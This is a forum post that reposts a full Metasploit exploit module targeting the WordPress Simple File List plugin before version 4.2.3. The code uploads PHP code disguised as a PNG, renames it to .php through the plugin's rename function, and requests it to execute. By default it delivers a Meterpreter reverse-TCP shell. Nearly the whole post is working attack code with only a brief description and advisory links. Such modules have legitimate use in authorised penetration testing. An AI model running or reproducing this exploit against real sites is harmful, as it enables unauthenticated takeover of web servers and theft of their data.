Kev Posted November 25, 2020 Report Posted November 25, 2020 This Metasploit module exploits WordPress Simple File List plugin versions prior to 4.2.3, which allows remote unauthenticated attackers to upload files within a controlled list of extensions. However, the rename function does not conform to the file extension restrictions, thus allowing arbitrary PHP code to be uploaded first as a png then renamed to php and executed. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HTTP::Wordpress prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'WordPress Simple File List Unauthenticated Remote Code Execution', 'Description' => %q{ Simple File List (simple-file-list) plugin before 4.2.3 for WordPress allows remote unauthenticated attackers to upload files within a controlled list of extensions. However, the rename function does not conform to the file extension restrictions, thus allowing arbitrary PHP code to be uploaded first as a png then renamed to php and executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'coiffeur', # initial discovery and PoC 'h00die', # msf module ], 'References' => [ [ 'URL', 'https://wpscan.com/vulnerability/10192' ], [ 'URL', 'https://www.cybersecurity-help.cz/vdb/SB2020042711' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2286920/simple-file-list' ], [ 'EDB', '48349' ] ], 'Platform' => [ 'php' ], 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Default', { 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } } ] ], 'DisclosureDate' => '2020-04-27', 'DefaultTarget' => 0, 'Notes' => { 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Base path to WordPress installation', '/']), ] ) end def dir_path '/wp-content/uploads/simple-file-list/' end def upload_path '/wp-content/plugins/simple-file-list/ee-upload-engine.php' end def move_path '/wp-content/plugins/simple-file-list/ee-file-engine.php' end def upload(filename) print_status('Attempting to upload the PHP payload as a PNG file') now = Date.today.to_time.to_i.to_s data = Rex::MIME::Message.new data.add_part('1', nil, nil, 'form-data; name="eeSFL_ID"') data.add_part(dir_path, nil, nil, 'form-data; name="eeSFL_FileUploadDir"') data.add_part(now, nil, nil, 'form-data; name="eeSFL_Timestamp"') data.add_part(Digest::MD5.hexdigest("unique_salt#{now}"), nil, nil, 'form-data; name="eeSFL_Token"') data.add_part("#{payload.encoded}\n", 'image/png', nil, "form-data; name=\"file\"; filename=\"#{filename}.png\"") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, upload_path), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s ) fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200 # the server will respond with a 200, but if the timestamp and token dont match it wont give back SUCCESS as it failed fail_with(Failure::UnexpectedReply, "#{peer} - File failed to upload") unless res.body.include?('SUCCESS') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, dir_path, "#{filename}.png"), 'method' => 'GET' ) fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res # 404 could be AV got it or something similar fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}. File was uploaded successfully, but could not be found.") if res.code == 404 fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200 print_good('PNG payload successfully uploaded') end def rename(filename) print_status("Attempting to rename #{filename}.png to #{filename}.php") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, move_path), 'method' => 'POST', 'vars_post' => { 'eeSFL_ID' => 1, 'eeFileOld' => "#{filename}.png", 'eeListFolder' => '/', 'eeFileAction' => "Rename|#{filename}.php" } ) fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200 print_good("Successfully renamed #{filename}.png to #{filename}.php") end def check return CheckCode::Unknown unless wordpress_and_online? # check the plugin version from readme check_plugin_version_from_readme('simple-file-list', '4.2.3', '1.0.1') end def exploit # filename of the file to be uploaded/created filename = Rex::Text.rand_text_alphanumeric(8) register_file_for_cleanup("#{filename}.php") upload(filename) rename(filename) print_status('Triggering shell') send_request_cgi( 'uri' => normalize_uri(target_uri.path, dir_path, "#{filename}.php"), 'method' => 'GET' ) end end Source 1 Quote